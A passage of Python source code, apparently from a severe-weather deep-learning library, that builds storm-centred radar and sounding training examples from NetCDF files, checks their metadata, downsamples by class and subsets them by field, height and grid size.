[storm_images.image_file_name_to_height(f) for f in radar_file_names],
dtype=int
)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict
def _create_3d_examples(
radar_file_name_matrix, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 3-D examples for one file time.
:param radar_file_name_matrix: numpy array (F_r x H_r) of paths to storm-
centered radar images. Files will be read by
`storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_name_matrix[0, 0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[0, 0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_radar_fields = radar_file_name_matrix.shape[0]
num_radar_heights = radar_file_name_matrix.shape[1]
tuple_of_4d_image_matrices = ()
for k in range(num_radar_heights):
tuple_of_3d_image_matrices = ()
for j in range(num_radar_fields):
if not j == k == 0:
print('Reading data from: "{0:s}"...'.format(
radar_file_name_matrix[j, k]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[j, k],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_3d_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
tuple_of_4d_image_matrices += (
dl_utils.stack_radar_fields(tuple_of_3d_image_matrices),
)
radar_field_names = [
storm_images.image_file_name_to_field(f)
for f in radar_file_name_matrix[:, 0]
]
radar_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in radar_file_name_matrix[0, :]
], dtype=int)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_4d_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict
def _create_2d3d_examples_myrorss(
azimuthal_shear_file_names, reflectivity_file_names,
full_id_strings, storm_times_unix_sec, target_matrix,
sounding_file_name=None, sounding_field_names=None):
"""Creates hybrid 2D-3D examples for one file time.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
:param azimuthal_shear_file_names: length-2 list of paths to storm-centered
azimuthal-shear images. The first (second) file should be (low)
mid-level azimuthal shear. Files will be read by
`storm_images.read_storm_images`.
:param reflectivity_file_names: length-H list of paths to storm-centered
reflectivity images, where H = number of reflectivity heights. Files
will be read by `storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(reflectivity_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
azimuthal_shear_field_names = [
storm_images.image_file_name_to_field(f)
for f in azimuthal_shear_file_names
]
reflectivity_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in reflectivity_file_names
], dtype=int)
num_reflectivity_heights = len(reflectivity_file_names)
tuple_of_image_matrices = ()
for j in range(num_reflectivity_heights):
if j != 0:
print('Reading data from: "{0:s}"...'.format(
reflectivity_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
this_matrix = numpy.expand_dims(
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], axis=-1
)
tuple_of_image_matrices += (this_matrix,)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: azimuthal_shear_field_names,
RADAR_HEIGHTS_KEY: reflectivity_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
REFL_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
num_az_shear_fields = len(azimuthal_shear_file_names)
tuple_of_image_matrices = ()
for j in range(num_az_shear_fields):
print('Reading data from: "{0:s}"...'.format(
azimuthal_shear_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=azimuthal_shear_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
example_dict.update({
AZ_SHEAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices)
})
return example_dict
def _read_metadata_from_example_file(netcdf_file_name, include_soundings):
"""Reads metadata from file with input examples.
:param netcdf_file_name: Path to input file.
:param include_soundings: Boolean flag. If True and file contains
soundings, this method will return keys "sounding_field_names" and
"sounding_heights_m_agl". Otherwise, will not return said keys.
:return: example_dict: Dictionary with the following keys (explained in doc
to `write_example_file`).
example_dict['full_id_strings']
example_dict['storm_times_unix_sec']
example_dict['radar_field_names']
example_dict['radar_heights_m_agl']
example_dict['rotated_grids']
example_dict['rotated_grid_spacing_metres']
example_dict['target_names']
example_dict['sounding_field_names']
example_dict['sounding_heights_m_agl']
:return: netcdf_dataset: Instance of `netCDF4.Dataset`, which can be used to
keep reading file.
"""
netcdf_dataset = netCDF4.Dataset(netcdf_file_name)
include_soundings = (
include_soundings and
SOUNDING_FIELDS_KEY in netcdf_dataset.variables
)
example_dict = {
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
FULL_IDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[FULL_IDS_KEY][:])
],
STORM_TIMES_KEY: numpy.array(
netcdf_dataset.variables[STORM_TIMES_KEY][:], dtype=int
),
RADAR_FIELDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
# TODO(thunderhoser): This is a HACK to deal with bad files.
example_dict[TARGET_NAMES_KEY] = [
n for n in example_dict[TARGET_NAMES_KEY] if n != ''
]
if example_dict[ROTATED_GRIDS_KEY]:
example_dict[ROTATED_GRID_SPACING_KEY] = getattr(
netcdf_dataset, ROTATED_GRID_SPACING_KEY)
else:
example_dict[ROTATED_GRID_SPACING_KEY] = None
if not include_soundings:
return example_dict, netcdf_dataset
example_dict.update({
SOUNDING_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
],
SOUNDING_HEIGHTS_KEY:
numpy.array(netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:],
dtype=int)
})
return example_dict, netcdf_dataset
def _compare_metadata(netcdf_dataset, example_dict):
"""Compares metadata between existing NetCDF file and new batch of examples.
This method contains a large number of `assert` statements. If any of the
`assert` statements fails, this method will error out.
:param netcdf_dataset: Instance of `netCDF4.Dataset`.
:param example_dict: See doc for `write_examples_with_3d_radar`.
:raises: ValueError: if the two sets have different metadata.
"""
include_soundings = SOUNDING_MATRIX_KEY in example_dict
orig_example_dict = {
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
RADAR_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
if example_dict[ROTATED_GRIDS_KEY]:
orig_example_dict[ROTATED_GRID_SPACING_KEY] = int(
getattr(netcdf_dataset, ROTATED_GRID_SPACING_KEY)
)
if include_soundings:
orig_example_dict[SOUNDING_FIELDS_KEY] = [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
]
orig_example_dict[SOUNDING_HEIGHTS_KEY] = numpy.array(
netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:], dtype=int
)
for this_key in orig_example_dict:
if isinstance(example_dict[this_key], numpy.ndarray):
if numpy.array_equal(example_dict[this_key],
orig_example_dict[this_key]):
continue
else:
if example_dict[this_key] == orig_example_dict[this_key]:
continue
error_string = (
'\n"{0:s}" in existing NetCDF file:\n{1:s}\n\n"{0:s}" in new batch '
'of examples:\n{2:s}\n\n'
).format(
this_key, str(orig_example_dict[this_key]),
str(example_dict[this_key])
)
raise ValueError(error_string)
def _filter_examples_by_class(target_values, downsampling_dict,
test_mode=False):
"""Filters examples by target value.
E = number of examples
:param target_values: length-E numpy array of target values (integer class
labels).
:param downsampling_dict: Dictionary, where each key is the integer
ID for a target class (-2 for "dead storm") and the corresponding value
is the number of examples desired from said class. If
`downsampling_dict is None`, `example_dict` will be returned
without modification.
:param test_mode: Never mind. Just leave this alone.
:return: indices_to_keep: 1-D numpy array with indices of examples to keep.
These are all integers in [0, E - 1].
"""
num_examples = len(target_values)
if downsampling_dict is None:
return numpy.linspace(0, num_examples - 1, num=num_examples, dtype=int)
indices_to_keep = numpy.array([], dtype=int)
class_keys = list(downsampling_dict.keys())
for this_class in class_keys:
this_num_storm_objects = downsampling_dict[this_class]
these_indices = numpy.where(target_values == this_class)[0]
this_num_storm_objects = min(
[this_num_storm_objects, len(these_indices)]
)
if this_num_storm_objects == 0:
continue
if test_mode:
these_indices = these_indices[:this_num_storm_objects]
else:
these_indices = numpy.random.choice(
these_indices, size=this_num_storm_objects, replace=False)
indices_to_keep = numpy.concatenate((indices_to_keep, these_indices))
return indices_to_keep
def _file_name_to_batch_number(example_file_name):
"""Parses batch number from file.
:param example_file_name: See doc for `find_example_file`.
:return: batch_number: Integer.
:raises: ValueError: if batch number cannot be parsed from file name.
"""
pathless_file_name = os.path.split(example_file_name)[-1]
extensionless_file_name = os.path.splitext(pathless_file_name)[0]
return int(extensionless_file_name.split('input_examples_batch')[-1])
def _check_target_vars(target_names):
"""Error-checks list of target variables.
Target variables must all have the same mean lead time (average of min and
max lead times) and event type (tornado or wind).
:param target_names: 1-D list with names of target variables. Each must be
accepted by `target_val_utils.target_name_to_params`.
:return: mean_lead_time_seconds: Mean lead time (shared by all target
variables).
:return: event_type_string: Event type.
:raises: ValueError: if target variables do not all have the same mean lead
time or event type.
"""
error_checking.assert_is_string_list(target_names)
error_checking.assert_is_numpy_array(
numpy.array(target_names), num_dimensions=1
)
num_target_vars = len(target_names)
mean_lead_times = numpy.full(num_target_vars, -1, dtype=int)
event_type_strings = numpy.full(num_target_vars, '', dtype=object)
for k in range(num_target_vars):
this_param_dict = target_val_utils.target_name_to_params(
target_names[k]
)
event_type_strings[k] = this_param_dict[target_val_utils.EVENT_TYPE_KEY]
mean_lead_times[k] = int(numpy.round(
(this_param_dict[target_val_utils.MAX_LEAD_TIME_KEY] +
this_param_dict[target_val_utils.MIN_LEAD_TIME_KEY])
/ 2
))
if len(numpy.unique(mean_lead_times)) != 1:
error_string = (
'Target variables (listed below) have different mean lead times.'
'\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
if len(numpy.unique(event_type_strings)) != 1:
error_string = (
'Target variables (listed below) have different event types.\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
return mean_lead_times[0], event_type_strings[0]
def _check_layer_operation(example_dict, operation_dict):
"""Error-checks layer operation.
Such operations are used for dimensionality reduction (to convert radar data
from 3-D to 2-D).
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: Dictionary with the following keys.
operation_dict["radar_field_name"]: Field to which operation will be
applied.
operation_dict["operation_name"]: Name of operation (must be in list
`VALID_LAYER_OPERATION_NAMES`).
operation_dict["min_height_m_agl"]: Minimum height of layer over which
operation will be applied.
operation_dict["max_height_m_agl"]: Max height of layer over which operation
will be applied.
:raises: ValueError: if something is wrong with the operation params.
"""
if operation_dict[RADAR_FIELD_KEY] in AZIMUTHAL_SHEAR_FIELD_NAMES:
error_string = (
'Layer operations cannot be applied to azimuthal-shear fields '
'(such as "{0:s}").'
).format(operation_dict[RADAR_FIELD_KEY])
raise ValueError(error_string)
if (operation_dict[RADAR_FIELD_KEY] == radar_utils.REFL_NAME
and REFL_IMAGE_MATRIX_KEY in example_dict):
pass
else:
if (operation_dict[RADAR_FIELD_KEY]
not in example_dict[RADAR_FIELDS_KEY]):
error_string = (
'\n{0:s}\nExamples contain only radar fields listed above, '
'which do not include "{1:s}".'
).format(
str(example_dict[RADAR_FIELDS_KEY]),
operation_dict[RADAR_FIELD_KEY]
)
raise ValueError(error_string)
if operation_dict[OPERATION_NAME_KEY] not in VALID_LAYER_OPERATION_NAMES:
error_string = (
'\n{0:s}\nValid operations (listed above) do not include '
'"{1:s}".'
).format(
str(VALID_LAYER_OPERATION_NAMES), operation_dict[OPERATION_NAME_KEY]
)
raise ValueError(error_string)
min_height_m_agl = operation_dict[MIN_HEIGHT_KEY]
max_height_m_agl = operation_dict[MAX_HEIGHT_KEY]
error_checking.assert_is_geq(
min_height_m_agl, numpy.min(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_leq(
max_height_m_agl, numpy.max(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_greater(max_height_m_agl, min_height_m_agl)
def _apply_layer_operation(example_dict, operation_dict):
"""Applies layer operation to radar data.
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: See doc for `_check_layer_operation`.
:return: new_radar_matrix: E-by-M-by-N numpy array resulting from layer
operation.
"""
_check_layer_operation(example_dict=example_dict,
operation_dict=operation_dict)
height_diffs_metres = (
example_dict[RADAR_HEIGHTS_KEY] - operation_dict[MIN_HEIGHT_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
min_height_index = numpy.argmax(height_diffs_metres)
height_diffs_metres = (
operation_dict[MAX_HEIGHT_KEY] - example_dict[RADAR_HEIGHTS_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
max_height_index = numpy.argmax(height_diffs_metres)
operation_dict[MIN_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][min_height_index]
operation_dict[MAX_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][max_height_index]
operation_name = operation_dict[OPERATION_NAME_KEY]
operation_function = OPERATION_NAME_TO_FUNCTION_DICT[operation_name]
if REFL_IMAGE_MATRIX_KEY in example_dict:
orig_matrix = example_dict[REFL_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), 0]
else:
field_index = example_dict[RADAR_FIELDS_KEY].index(
operation_dict[RADAR_FIELD_KEY])
orig_matrix = example_dict[RADAR_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), field_index]
return operation_function(orig_matrix, axis=-1), operation_dict
def _subset_radar_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl, num_rows_to_keep,
num_columns_to_keep):
"""Subsets radar data by field, height, and horizontal extent.
If the file contains both 2-D shear images and 3-D reflectivity images (like
MYRORSS data):
- `field_names_to_keep` will be interpreted as a list of shear fields to
keep. If None, all shear fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of reflectivity
heights to keep. If None, all reflectivity heights will be kept.
If the file contains only 2-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered together, as a list of
field/height pairs to keep. If either argument is None, then all
field-height pairs will be kept.
If the file contains only 3-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered separately:
- `field_names_to_keep` will be interpreted as a list of fields to keep. If
None, all fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of heights to keep.
If None, all heights will be kept.
:param example_dict: See output doc for `_read_metadata_from_example_file`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: 1-D numpy array with indices of examples
(storm objects) to keep. These are examples in `netcdf_dataset_object`
for which radar data will be added to `example_dict`.
:param field_names_to_keep: See discussion above.
:param heights_to_keep_m_agl: See discussion above.
:param num_rows_to_keep: Number of grid rows to keep. Images will be
center-cropped (i.e., rows will be removed from the edges) to meet the
desired number of rows. If None, all rows will be kept.
:param num_columns_to_keep: Same as above but for columns.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "radar_field_names" and "radar_heights_m_agl" may have different
values.
[2] If file contains both 2-D and 3-D images, dictionary now contains keys
"reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01".
[3] If file contains only 2-D or only 3-D images, dictionary now contains
key "radar_image_matrix".
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[RADAR_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[RADAR_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
if RADAR_IMAGE_MATRIX_KEY in netcdf_dataset_object.variables:
radar_matrix = numpy.array(
netcdf_dataset_object.variables[RADAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
num_radar_dimensions = len(radar_matrix.shape) - 2
if num_radar_dimensions == 2:
these_indices = [
numpy.where(numpy.logical_and(
example_dict[RADAR_FIELDS_KEY] == f,
example_dict[RADAR_HEIGHTS_KEY] == h
))[0][0]
for f, h in zip(field_names_to_keep, heights_to_keep_m_agl)
]
these_indices = numpy.array(these_indices, dtype=int)
radar_matrix = radar_matrix[..., these_indices]
else:
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
radar_matrix = radar_matrix[..., these_field_indices]
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
radar_matrix = radar_matrix[..., these_height_indices, :]
radar_matrix = storm_images.downsize_storm_images(
storm_image_matrix=radar_matrix,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[RADAR_IMAGE_MATRIX_KEY] = radar_matrix
else:
reflectivity_matrix_dbz = numpy.array(
netcdf_dataset_object.variables[REFL_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
reflectivity_matrix_dbz = numpy.expand_dims(
reflectivity_matrix_dbz, axis=-1
)
azimuthal_shear_matrix_s01 = numpy.array(
netcdf_dataset_object.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
reflectivity_matrix_dbz = reflectivity_matrix_dbz[
..., these_height_indices, :]
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
azimuthal_shear_matrix_s01 = azimuthal_shear_matrix_s01[
..., these_field_indices]
reflectivity_matrix_dbz = storm_images.downsize_storm_images(
storm_image_matrix=reflectivity_matrix_dbz,
radar_field_name=radar_utils.REFL_NAME,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
azimuthal_shear_matrix_s01 = storm_images.downsize_storm_images(
storm_image_matrix=azimuthal_shear_matrix_s01,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[REFL_IMAGE_MATRIX_KEY] = reflectivity_matrix_dbz
example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] = azimuthal_shear_matrix_s01
example_dict[RADAR_FIELDS_KEY] = field_names_to_keep
example_dict[RADAR_HEIGHTS_KEY] = heights_to_keep_m_agl
return example_dict
def _subset_sounding_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl):
"""Subsets sounding data by field and height.
:param example_dict: See doc for `_subset_radar_data`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: Same.
:param field_names_to_keep: 1-D list of field names to keep. If None, will
keep all fields.
:param heights_to_keep_m_agl: 1-D numpy array of heights to keep. If None,
will keep all heights.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "sounding_field_names" and "sounding_heights_m_agl" may have
different values.
[2] Key "sounding_matrix" has been added.
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[SOUNDING_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[SOUNDING_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
sounding_matrix = numpy.array(
netcdf_dataset_object.variables[SOUNDING_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
# TODO(thunderhoser): This is a HACK.
spfh_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.SPECIFIC_HUMIDITY_NAME)
temp_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.TEMPERATURE_NAME)
pressure_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.PRESSURE_NAME)
theta_v_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.VIRTUAL_POTENTIAL_TEMPERATURE_NAME)
sounding_matrix[..., spfh_index][
numpy.isnan(sounding_matrix[..., spfh_index])
] = 0.
nan_example_indices, nan_height_indices = numpy.where(numpy.isnan(
sounding_matrix[..., theta_v_index]
))
if len(nan_example_indices) > 0:
this_temp_matrix_kelvins = sounding_matrix[..., temp_index][
nan_example_indices, nan_height_indices]
this_pressure_matrix_pa = sounding_matrix[..., pressure_index][
nan_example_indices, nan_height_indices]
this_thetav_matrix_kelvins = (
temp_conversion.temperatures_to_potential_temperatures(
temperatures_kelvins=this_temp_matrix_kelvins,
total_pressures_pascals=this_pressure_matrix_pa)
)
sounding_matrix[..., theta_v_index][
nan_example_indices, nan_height_indices
] = this_thetav_matrix_kelvins
these_indices = numpy.array([
example_dict[SOUNDING_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices]
these_indices = numpy.array([
numpy.where(example_dict[SOUNDING_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices, :]
example_dict[SOUNDING_FIELDS_KEY] = field_names_to_keep
example_dict[SOUNDING_HEIGHTS_KEY] = heights_to_keep_m_agl
example_dict[SOUNDING_MATRIX_KEY] = sounding_matrix
return example_dict
def find_storm_images_2d(
top_directory_name, radar_source, radar_field_names,
first_spc_date_string, last_spc_date_string, radar_heights_m_agl=None,
reflectivity_heights_m_agl=None):
"""Locates files with 2-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: Name of top-level directory. Files therein will
be found by `storm_images.find_storm_image_file`.
:param radar_source: Data source (must be accepted by
`radar_utils.check_data_source`).
:param radar_field_names: 1-D list of radar fields. Each item must be
accepted by `radar_utils.check_field_name`.
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:param radar_heights_m_agl: [used only if radar_source = "gridrad"]
1-D numpy array of radar heights (metres above ground level). These
heights apply to all radar fields.
:param reflectivity_heights_m_agl: [used only if radar_source != "gridrad"]
1-D numpy array of reflectivity heights (metres above ground level).
These heights do not apply to other radar fields.
:return: radar_file_name_matrix: D-by-C numpy array of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
storm_image_file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=radar_field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
num_field_height_pairs = (
radar_file_name_matrix.shape[1] * radar_file_name_matrix.shape[2]
)
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix, (num_file_times, num_field_height_pairs)
)
time_missing_indices = numpy.unique(
